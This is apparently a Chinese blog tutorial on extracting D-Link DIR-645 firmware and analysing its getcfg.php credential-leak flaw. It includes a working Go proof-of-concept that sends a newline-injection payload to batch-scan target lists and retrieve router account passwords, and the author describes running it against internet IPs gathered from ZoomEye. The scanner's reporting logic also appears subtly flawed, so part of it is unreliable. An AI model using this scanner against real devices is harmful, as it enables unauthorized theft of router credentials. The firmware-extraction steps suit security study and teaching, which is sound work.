从 0 到 1:用脚做一个路由器漏洞实例
本地虚拟机搭建 ubuntu 16.04
ubuntu iso 下载地址:http://mirrors.aliyun.com/ubuntu-
安装完,给 root 用户新增个密码
sudo passwd root
切换到 root 用户
su root
修改阿里云镜像:
vi /etc/apt/sources.list
打开文件不要做任何操作,直接输入 ggdG 清空当前文件内容,注意 G 是大写
ggdG
然后粘贴以下内容
# deb cdrom:[Ubuntu 16.04 LTS _Xenial Xerus_ - Release amd64 (20160420.1)]/ xenial main restricted
deb-src http://archive.ubuntu.com/ubuntu xenial main restricted #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe
deb http://mirrors.aliyun.com/ubuntu/ xenial multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse #Added by software-properties
deb http://archive.canonical.com/ubuntu xenial partner
deb-src http://archive.canonical.com/ubuntu xenial partner
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-security multiverse
更新镜像源(注意不同版本的镜像源是不一样的)
sudo apt-get update
安装 python3.7
因为 ubuntu 16.04 带的 python 是 3.5 的,而 Binwalk 要求 3.6 以上。
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt-get update
sudo apt-get install python3.7
修改 apt 指定的 python3
sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.5 1
sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 2
update-alternatives 命令可以修改系统默认命令的软链指向,通过以下命令,可以切换 Python3 的指向
sudo update-alternatives --config python3
查看一下是否安装成功:
检测版本:
python3 -V
D-Link 固件下载
D-Link 路由器固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/
提取固件方式一:Ubuntu 下 binwalk
Mac 上 binwalk 有问题,在尝试换成 centos 后也出现同样的问题,无法解包。最后我推荐用 Ubuntu 系统(Ubuntu 16.04)
搞 IOT 建议到 ubuntu 上搞,也可以到专用的虚拟机如 attifyos。
安装 binwalk(也可翻到后文直接使用自动化工具《自动安装 binwalk》)
git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo ./deps.sh
sudo python3 setup.py install
安装 unzip
apt install unzip
解压缩固件
unzip DLink_DIR645_A1_FW102B08.zip
解包固件
root@redidc784587341578:~# binwalk -Me DIR645A1_FW102B08.bin
Scan Time: 2021-06-22 11:41:29
Target File: /root/DIR645A1_FW102B08.bin
MD5 Checksum: 79e6736579d0afe2660e0bd8538cdc15
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4229096 bytes
1441904 0x160070 PackImg section delimiter tag, little endian size: 15751680 bytes; big endian size: 5959680 bytes
1441936 0x160090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5958022 bytes, 1955 inodes, blocksize: 65536 bytes, created: 2011-11-23 03:10:33
Scan Time: 2021-06-22 11:41:31
Target File: /root/_DIR645A1_FW102B08.bin.extracted/70
MD5 Checksum: ce85fce6328c01f61ec7ac900296847b
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3330080 0x32D020 Linux kernel version 2.6.33
3390400 0x33BBC0 CRC32 polynomial table, little endian
3795004 0x39E83C Neighborly text, "NeighborSolicitstunnel6 init(): can't add protocol"
3795024 0x39E850 Neighborly text, "NeighborAdvertisementst add protocol"
3799767 0x39FAD7 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
如上图,可以看到成功解包
提取固件方式二:手动提取
检索文件系统 magic 签名
root@redidc784587341578:~# strings DIR645A1_FW102B08.bin | grep "hsqs"
hsqs
确定文件系统
root@redidc784587341578:~# hexdump -C DIR645A1_FW102B08.bin | grep -n "hsqs"
88066:00160090 68 73 71 73 a3 07 00 00 29 64 cc 4e 00 00 01 00 |hsqs....)d.N....|
在偏移 0x160090 出发现了”hsqs”。
16 进制转化为 10 进制,使用计算机自带的计算器转化,如下图
(十六进制 1441936)
root@redidc784587341578:~# dd if=DIR645A1_FW102B08.bin bs=1 count=100 skip=1441936 of=squash
100+0 records in
100+0 records out
100 bytes copied, 0.000547148 s, 183 kB/s
squashfs 文件系统的头部校验不会超过 100 字节,这里直接复制 100 字节的数据
使用 file 命令确认复制的文件 squash 的文件类型
root@redidc784587341578:~# file squash
squash: Squashfs filesystem, little endian, version 4.0, 5958022 bytes, 1955 inodes, blocksize: 65536 bytes, created: Wed Nov 23 03:10:33 2011
bin 在偏移 0x00160090 处包含 squashfs 文件系统,其大小为 5958022 字节,使用 dd 命令复制该数据块。
root@redidc784587341578:~# dd if=DIR645A1_FW102B08.bin bs=1 count=5958022 skip=1441936 of=kernel.squash
5958022+0 records in
5958022+0 records out
5958022 bytes (6.0 MB, 5.7 MiB) copied, 16.8458 s, 354 kB/s
属于 squashfs 文件系统的数据已经成功提取出来,接下来的工作就是还原 squashfs 文件系统中的根文件系统。
安装 firmware-mod-kit 解压缩。
git clone https://github.com/mirror/firmware-mod-kit.git
sudo apt-get install build-essential zlib1g-dev liblzma-dev python-magic
cd firmware-mod-kit/src
./configure && make
提取
root@redidc784587341578:~/firmware-mod-kit# ./unsquashfs_all.sh ../kernel.squash
./unsquashfs_all.sh: line 85: ./src/binwalk: No such file or directory
Attempting to extract SquashFS .X file system...
Trying ./src/squashfs-2.1-r2/unsquashfs...
Trying ./src/squashfs-2.1-r2/unsquashfs-lzma...
Trying ./src/squashfs-3.0/unsquashfs...
Trying ./src/squashfs-3.0/unsquashfs-lzma...
Trying ./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma...
Trying ./src/others/squashfs-2.0-nb4/unsquashfs...
Trying ./src/others/squashfs-3.0-e2100/unsquashfs...
Trying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma...
Trying ./src/others/squashfs-3.2-r2/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs...
Trying ./src/others/squashfs-3.3/unsquashfs...
Trying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.4-cisco/unsquashfs...
Trying ./src/others/squashfs-3.4-nb4/unsquashfs...
Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma...
Trying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 2 processors
Trying ./src/others/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 2 processors
Trying ./src/others/squashfs-4.0-lzma/unsquashfs-lzma... Parallel unsquashfs: Using 2 processors
1848 inodes (2053 blocks) to write
[======================================================================================================================================================================================/] 2053/2053 100%
created 1601 files
created 107 directories
created 181 symlinks
created 66 devices
created 0 fifos
File system sucessfully extracted!
MKFS="./src/others/squashfs-4.0-lzma/mksquashfs-lzma"
查看文件,成功提取=
DIR-645 信息泄露
比如,这里是 DIR645 的固件包,我们直接去看 web 目录下的 getcfg.php 文件
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
?></postxml>
查看源码我们能看到/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 存在用户名及密码的泄漏
批量检测脚本
直接撸一个 poc
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"github.com/fatih/color"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"sync"
)
func exec(targetURL string, isbatch bool) {
PostData := `SERVICES=DEVICE.ACCOUNT&attack=true%0aAUTHORIZED_GROUP=1`
/*构造payload*/
cli := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
if !strings.Contains(targetURL, "http") {
targetURL = "http://" + targetURL
}
request, err := http.NewRequest(http.MethodPost, targetURL+"/getcfg.php", strings.NewReader(PostData))
if err != nil {
fmt.Println(err)
}
request.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0")
request.Header.Add("Connection", "close")
request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
request.Header.Add("Accept-Encoding", "gzip, deflate")
request.Header.Add("Upgrade-Insecure-Requests", "1")
request.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2")
/*http请求体构建并忽略tls证书校验*/
do, err := cli.Do(request)
if err != nil {
return
} /*发送数据包*/
defer func() {
_ = do.Body.Close()
}()
if do.StatusCode == 404 {
return
} else if do.StatusCode == 200 {
all, _ := ioutil.ReadAll(do.Body)
if isbatch {
if strings.Contains(string(all), "DEVICE.ACCOUNT") {
color.Blue(fmt.Sprintf("%s 存在漏洞\n", targetURL))
}
}
}
color.Red(fmt.Sprintf("%s 不存在漏洞\n", targetURL))
return
}
func main() {
var wg sync.WaitGroup
var targetURL, filepath string
flag.StringVar(&targetURL, "u", "", "")
flag.StringVar(&filepath, "l", "", "")
flag.CommandLine.Usage = func() { fmt.Println("使用说明:\n执行命令:./main -u http://127.0.0.1:8080 \n批量检测:./main -l url.txt ") }
flag.Parse()
if len(targetURL) == 0 {
file, err := os.OpenFile(filepath, os.O_RDWR, 0666)
if err != nil {
fmt.Println("Open file error!", err)
return
}
defer file.Close()
buf := bufio.NewReader(file)
for {
wg.Add(1)
line, err := buf.ReadString('\n')
line = strings.TrimSpace(line)
a := line
go func() {
exec(a, true)
wg.Done()
}()
if err != nil {
if err == io.EOF {
break
} else {
fmt.Println("Read file error!", err)
return
}
}
}
} else {
exec(targetURL, false)
}
wg.Wait()
}
使用 zoomeye 在互联网爬的 IP,一个漏洞都没有,哈哈哈 尴尬。
安装自动化分析固件 firmware-analysis-toolkit
如果 qemu 或者 binwalk 出错,可以尝试按照之前说的操作来手动安装。
git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./setup.sh
修改配置文件 fat.config
fat.py 运行的时候需要获取 sudo 密码,和 firmadyne 的路径
把地址替换成自己的,如下
[DEFAULT]
sudo_password=root
firmadyne_path=/home/txf/Desktop/firmware-analysis-toolkit/firmadyne
./fat.py xxx.bin
运气好就会出现下面启动成功的提示
运气不好就是起不来。
当然,毕竟是虚拟环境,很多情况下会遇到各种各样的问题,所以有条件的还是买真机来调试吧【漏洞资料领取】
最后,看到这篇文章的读者觉得对你有帮助的话,点赞收藏一下,还有更多网络安全学习视频、渗透测试、漏洞、工具包、应急响应等架构资料关注我,不定时更新。
网络安全学海
我是一名网络安全渗透师 2021.06.18 加入
关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08
评论